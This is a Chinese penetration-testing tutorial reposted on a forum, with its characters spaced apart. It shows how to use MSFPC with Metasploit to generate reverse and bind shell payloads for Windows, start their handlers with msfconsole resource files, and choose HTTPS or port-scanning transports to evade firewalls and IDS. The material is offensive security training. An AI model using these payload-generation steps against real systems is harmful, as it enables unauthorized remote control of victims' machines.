搜索

[27198] 2021-03-18_如何使用MSFPC

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-03-18_如何使用MSFPC 如 何 使 用 M S F P C M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 3 - 1 8 以 下 文 章 来 源 于 邪 灵 工 作 室   ， 作 者 李 华 峰 （ 邪 灵 ） 注 意 ： 本 文 中 所 有 操 作 是 在 K a l i   l i n u x   2 0 2 0 . 4 中 完 成 。 如 果 使 用 K a l i   l i n u x 2 0 2 0 . 1 等 版 本 ， 可 能 会 因 为 m s f p c 没 有 r o o t 权 限 ， 在 调 用 i f c o n f i g 命 令 时 出 错 ， 此 时 将 文 中 的 e t h 0 替 换 为 本 机 I P 地 址 即 可 。   M S F v e n o m   P a y l o a d   C r e a t o r （ M S F P C ） 是 一 个 使 用 起 来 十 分 方 便 的 p a y l o a d 生 成 器 ， 可 以 根 据 用 户 的 选 择 来 生 成 M e t a s p l o i t 的 各 种 p a y l o a d 。 有 了 它 ， 我 们 就 不 需 要 使 用 的 长 长 的 m s f v e n o m 命 令 来 产 生 p a y l o a d ， 从 而 大 大 的 节 省 了 使 用 者 的 时 间 和 精 力 。 你 在 使 用 M S F P C 之 前 应 该 先 在 系 统 中 安 装 M e t a s p l o i t ， M S F P C 只 是 一 个 单 纯 的 b a s h 脚 本 ， 这 也 意 味 着 它 需 要 在 l i n u x 或 者 u n i x 等 系 统 上 运 行 。 （ 微 软 已 经 宣 布 在 W i n d o w s 1 0 上 支 持 b a s h ） 。 如 果 你 使 用 的 不 是 K a l i 的 话 ， 需 要 安 装 M S F P C ， 下 载 地 址 为 h t t p s : / / g i t h u b . c o m / g 0 t m i 1 k / m s f p c 。 而 K a l i   l i n u x 中 则 已 经 事 先 内 置 了 M S F P C ， 你 只 需 要 在 终 端 中 输 入 m s f p c 就 可 以 启 动 。 邪 灵 工 作 室 邪 灵 工 作 室   . “ 我 生 本 无 乡 ， 心 安 是 归 处 ”   。 公 众 号 用 来 发 布 本 人 已 出 版 图 书 的 相 关 资 料 。 也 会 发 布 一 些 原 创 和 翻 译 的 网 络 安 全 的 渗 透 测 试 教 程 。
  M S F P C 中 产 生 p a y l o a d 也 是 通 过 命 令 实 现 的 ， 主 要 的 参 数 有 T Y P E 、 D O M A I N / I P 等 ， 它 们 分 别 对 应 的 含 义 如 下 所 示 ： l   T Y P E : M S F P C 中 支 持 的 p a y l o a d 类 型 如 上 图 所 示 ， 可 以 分 别 指 定 为 A P K   [ a n d r o i d ] ,   A S P ,   A S P X ,   B a s h   [ . s h ] ,   J a v a   [ . j s p ] ,   L i n u x [ . e l f ] ,   O S X   [ . m a c h o ] ,   P e r l   [ . p l ] ,   P H P ,   P o w e r s h e l l   [ . p s 1 ] ,   p y t h o n   [ . p y ] ,   T o m c a t   [ . w a r ] ,   W i n d o w s   [ . e x e   / / . d l l ] 等 。 这 个 选 项 相 当 于 m s f v e n o m 中 的 - f 参 数 。 l   D O M A I N / I P : 这 个 选 项 相 当 于 m s f v e n o m 中 的 L H O S T 参 数 。 也 就 是 主 控 端 的 I P 地 址 。 l   P O R T ： 这 个 选 项 相 当 于 m s f v e n o m 中 的 L P O R T 参 数 。 也 就 是 主 控 端 的 端 口 。 l   C M D / M S F :   这 个 选 项 决 定 了 当 p a y l o a d 执 行 后 ， 我 们 将 以 何 种 形 式 来 控 制 目 标 系 统 。 比 如 我 们 想 使 用 标 准 的 命 令 行 来 控 制 目 标 时 ， 就 可 以 使 用 C M D 选 项 。 如 果 目 标 系 统 是 w i n d o w s ， 我 们 就 可 以 使 用 如 下 图 所 示 的 c m d 命 令 行 方 式 来 控 制 目 标 。 而 如 果 目 标 是 L i n u x 操 作 系 统 ， 我 们 则 使 用   / b i n / b a s h 的 方 式 来 控 制 目 标 。           下 面 我 们 使 用 M S F P C 来 创 建 一 个 p a y l o a d ， 使 用 的 命 令 如 下 所 示 ： $   m s f p c   c m d   w i n d o w s   e t h 0 成 功 执 行 这 条 命 令 之 后 将 会 产 生 一 个 p a y l o a d ， 它 将 会 允 许 你 通 过 使 用 C M D 命 令 行 的 方 式 来 控 制 目 标 ， 主 控 端 的 I P 地 址 通 过 e t h 0 设 置 成 了 当 前 k a l i 主 机 的 I P 地 址 。  
从 图 中 可 以 看 出 来 ， 这 条 命 令 一 共 产 生 了 两 个 文 件 ： l   可 执 行 p a y l o a d 文 件 :   w i n d o w s - s h e l l - s t a g e d - r e v e r s e - t c p - 4 4 3 . e x e l   R c 文 件 :   w i n d o w s - s h e l l - s t a g e d - r e v e r s e - t c p - 4 4 3 - e x e . r c 这 两 个 文 件 的 命 名 很 容 易 理 解 ， 它 们 是 根 据 创 建 时 使 用 的 选 项 命 名 的 。 我 们 刚 刚 创 建 的 可 执 行 p a y l o a d 文 件 一 旦 在 目 标 系 统 中 运 行 起 来 ， 它 就 会 连 接 到 主 控 端 的 4 4 3 端 口 （ 反 向 连 接 ） ， 此 时 我 们 就 可 以 利 用 命 令 提 示 符 s h e l l 来 控 制 目 标 了 。 我 们 在 创 建 p a y l o a d 文 件 的 时 候 ， 尽 量 选 择 使 用 r e v e r s e （ 反 向 ） 来 代 替 b i n d （ 正 向 ） 。 资 源 文 件 （ 资 源 文 件 （ R e s o u r c e   f i l e ， ， r c ） ） 按 照 M e t a s p l o i t 官 方 的 解 释 ， 资 源 文 件 可 以 帮 你 自 动 化 的 完 成 一 些 重 复 任 务 。 实 际 上 ， 资 源 文 件 就 像 是 批 处 理 脚 本 ， 它 里 面 是 一 组 命 令 。 当 你 在 M e t a s p l o i t 中 加 载 这 个 脚 本 时 ， 这 些 命 令 就 会 按 照 顺 序 执 行 。 你 可 以 将 一 系 列 M e t a s p l o i t 控 制 命 令 连 接 在 一 起 来 创 建 资 源 文 件 。 下 面 我 们 可 以 使 用 c a t 来 查 看 刚 刚 生 成 的 r c 文 件 ：   这 里 使 用 的 p a y l o a d 选 择 的 参 数 是 c m d ， 对 应 的 类 型 是 w i n d o w s / s h e l l / r e v e r s e _ t c p   。 如 果 你 希 望 获 得 更 方 便 的 控 制 权 限 （ 就 像 m e t e r p r e t e r 中 那 样 ） ， 这 时 就 可 以 使 用 m s f 参 数 ， 例 如 ： M s f p c   m s f   w i n d o w s   e t h 0  
在 使 用 m s f 选 项 之 后 ， 我 们 查 看 从 M S F P C 生 成 的 资 源 文 件 ， 就 会 两 次 在 “ s e t   p a y l o a d ” 时 的 差 异 ：   这 时 的 p a y l o a d 已 经 被 设 置 为 了   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 。 写 好 的 资 源 文 件 可 以 使 用 m s f c o n s o l e 来 执 行 ， 执 行 的 命 令 如 下 所 示 ： m s f c o n s o l e   - q   - r   ' / h o m e / k a l i / w i n d o w s - m e t e r p r e t e r - s t a g e d - r e v e r s e - t c p - 4 4 3 - e x e . r c ' 这 里 面 的 - q 表 示 使 用 静 默 模 式 （ 你 将 看 不 到 m e t a s p l o i t 的 执 行 过 程 ） ， - r 表 示 执 行 资 源 文 件 。 不 使 用 参 数 - q 则 可 以 看 到 如 下 所 示 的 m e t a s p l o i t 调 用 过 程 。
  我 们 在 这 个 实 例 中 使 用 的 p a y l o a d 是 基 于 x 8 6 的 ， 但 目 标 系 统 是 给 予 x 6 4 体 系 结 构 。 我 们 建 议 使 用 的 p a y l o a d 要 与 操 作 系 统 的 体 系 结 构 相 匹 配 。 在 M e t a s p l o i t 中 ， 我 们 可 以 从 基 于 x 8 6 的 进 程 迁 移 到 基 于 x 6 4 的 进 程 上 ， 也 可 以 使 用 M e t a s p l o i t   p o s t 模 块 p o s t / w i n d o w s / m a n a g e / a r c h m i g r a t e 。 l   B I N D / R E V E R S E :   目 标 系 统 上 执 行 p a y l o a d 后 与 主 控 端 建 立 的 连 接 类 型 。 l   B I N D :   将 打 开 目 标 系 统 上 的 一 个 端 口 ， 我 们 可 以 使 用 主 控 端 连 接 到 该 端 口 。 这 种 方 式 成 功 的 几 率 并 不 大 ， 因 为 目 标 系 统 的 防 火 墙 规 则 往 往 会 阻 止 我 们 连 接 到 它 的 端 口 。 当 我 们 使 用 下 面 的 命 令 ： m s f p c   b i n d   m s f   w i n d o w s   e t h 0 就 可 以 生 成 一 个 正 向 的 p a y l o a d 。   我 们 查 看 生 成 的 资 源 文 件 可 以 看 到 使 用 w i n d o w s / m e t e r p r e t e r / b i n d _ t c p 代 替 了 r e v e r s e _ t c p ,
l   R E V E R S E （ 反 向 ） :   这 个 p a y l o a d 会 在 攻 击 者 主 控 端 的 计 算 机 上 打 开 一 个 端 口 ， 一 旦 p a y l o a d 在 目 标 设 备 上 执 行 ， 就 会 从 目 标 设 备 上 主 动 回 连 主 控 端 。 这 种 连 接 叫 做 反 向 连 接 ， 它 是 绕 过 入 口 防 火 墙 的 一 种 非 常 好 的 方 法 ， 但 如 果 出 口 （ 出 站 ） 防 火 墙 规 则 禁 止 了 连 接 ， 则 可 以 阻 止 反 向 连 接 。 默 认 情 况 下 ， M S F P C 将 使 用 R E V E R S E 方 式 来 生 成 p a y l o a d 。 l   S T A G E D / S T A G E L E S S :   p a y l o a d 所 使 用 的 类 型 。 l   S T A G E D :   这 个 参 数 会 将 p a y l o a d 分 成 多 个 阶 段 发 送 ， 这 样 做 的 好 处 是 可 以 有 效 降 低 p a y l o a d 的 大 小 ， 默 认 情 况 下 ， M S F P C 生 成 的 就 是 这 种 多 个 阶 段 发 送 的 p a y l o a d l   S T A G E L E S S : 这 个 参 数 会 产 生 一 个 完 整 的 p a y l o a d ， 比 多 个 阶 段 发 送 的 p a y l o a d 更 稳 定 、 更 可 靠 ， 但 与 分 级 p a y l o a d 相 比 ， 这 种 p a y l o a d 太 大 了 。   m s f p c   c m d   s t a g e l e s s   b i n d   w i n d o w s   e t h 0 我 们 查 看 生 成 的 这 个 命 令 生 成 的 资 源 文 件 。   可 以 看 到 这 里 面 p a y l o a d 被 设 置 为 w i n d o w s / s h e l l _ b i n d _ t c p ， 这 是 一 个 s t a g e l e s s 类 型 的 p a y l o a d ， 它 对 应 着 M e t a s p l o i t 中 的 w i n d o w s / s h e l l / b i n d _ t c p 。 l   T C P / H T T P / H T T P S / F I N D _ P O R T :   p a y l o a d 与 h a n d l e r 通 信 所 使 用 的 方 法 。 l   T C P ： 这 是 在 目 标 服 务 器 上 执 行 p a y l o a d 后 的 标 准 通 信 方 法 。 这 种 通 信 方 法 可 以 用 于 任 何 类 型 的 p a y l o a d 格 式 ， 但 由 于 其 不 加 密 的 性 质 ， 很 容 易 被 I D S 检 测 到 并 被 防 火 墙 和 I P S 阻 止 。 l   H T T P ： 如 果 M S F P C 使 用 此 选 项 ， 则 p a y l o a d 将 使 用 H T T P 作 为 通 信 方 法 。 p a y l o a d 将 在 端 口 8 0 上 通 信 。 如 果 目 标 系 统 上 只 有 端 口 8 0 打 开 ， 则 可 以 使 用 此 选 项 绕 过 防 火 墙 。 由 于 其 未 加 密 的 性 质 ， 很 容 易 被 I D S 和 I P S 检 测 到 。 l   H T T P S ： 此 选 项 用 于 生 成 将 使 用 S S L 通 信 的 p a y l o a d 。 如 果 需 要 隐 秘 的 进 行 反 向 连 接 时 ， 建 议 使 用 此 选 项 。 l   F I N D _ P O R T ： 当 无 法 从 公 共 端 口 （ 8 0 、 4 4 3 、 5 3 、 2 1 ） 获 得 反 向 连 接 时 ， 使 用 此 选 项 。 如 果 设 置 了 此 选 项 ， M S F P C 生 成 的 p a y l o a 将 尝 试 所 有 1 - 6 5 5 3 5 端 口 进 行 通 信 。 l   B A T C H   M o d e :   在 批 处 理 模 式 下 ， M S F P C 可 以 使 用 尽 可 能 多 的 类 型 组 合 生 成 多 个 p a y l o a d 。  
M S F P C 会 为 W i n d o w s 生 成 所 有 组 合 的 p a y l o a d 以 及 它 们 各 自 的 资 源 文 件 （ . r c ） l   L O O P   M o d e :   这 种 模 式 会 产 生 各 种 类 型 的 多 重 p a y l o a d ， M S F P C 还 可 以 生 成 给 定 L H O S T 的 所 有 p a y l o a d 。 当 我 们 不 了 解 目 标 平 台 操 作 系 统 的 类 型 时 ， 这 一 点 非 常 有 用 ： m s f p c   l o o p   1 9 2 . 1 6 8 . 1 5 7 . 1 7 0 下 面 是 该 命 令 所 生 成 的 p a y l o a d 与 资 源 文 件 。  
l   V E R B O S E :   如 果 要 获 取 有 关 M S F P C 在 生 成 p a y l o a d 时 使 用 的 值 的 更 多 信 息 ， 可 以 使 用 此 选 项 。   m s f p c   c m d   s t a g e l e s s   b i n d   w i n d o w s   e t h 0   v e r b o s e     扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 邀 请 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 邀 请 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     目 前 目 前 4 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理